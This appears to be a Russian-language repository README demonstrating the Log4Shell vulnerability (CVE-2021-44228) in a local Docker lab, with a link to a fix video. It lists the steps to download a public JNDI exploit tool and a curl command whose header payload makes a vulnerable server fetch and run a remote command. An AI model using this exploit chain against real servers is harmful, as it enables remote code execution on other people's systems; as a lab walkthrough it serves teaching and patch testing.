
Этот репозиторий предназначен для демонстрации и устранения уязвимости Log4j 2021 (CVE-2021-44228).
Этот репозиторий предназначен для демонстрации и устранения уязвимости Log4j 2021 (CVE-2021-44228).
Уязвимость CVE-2021-44228 / Log4Shell заключается во внедрении вредоносной нагрузки в уязвимое программное обеспечение, которая заставляет Log4J получать значение из стороннего источника через JNDI и протокол LDAP. ... Импортированные данные могут быть кодом, который будет выполнен Log4J в системе.
Мы запускаем веб-приложение Spring Boot, уязвимое к CVE-2021-44228, в Docker, названное Log4Shell автором @christophetd.
Оно использует Log4j 2.14.1 (через spring-boot-starter-log4j2 2.6.1) и JDK 1.8.0_181.
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Мы загружаем JNDI Exploit для Log4Shell из веб-архива в данном случае, но вы можете скачать его откуда угодно, где он доступен.
wget https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip

Мы получаем IP-адрес нашей машины, на которой запущен Docker с приложением Log4Shell.
ifconfig

Мы распаковываем zip-архив с JNDI Exploit для Log4Shell, получаем JAR и запускаем его, указав наш IP, полученный на шаге 3.
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'


docker exec vulnerable-app ls /tmp

Видео о том, как устранить уязвимость Log4Shell в Windows и Linux: УСТРАНЕНИЕ

Feryael Justice 2022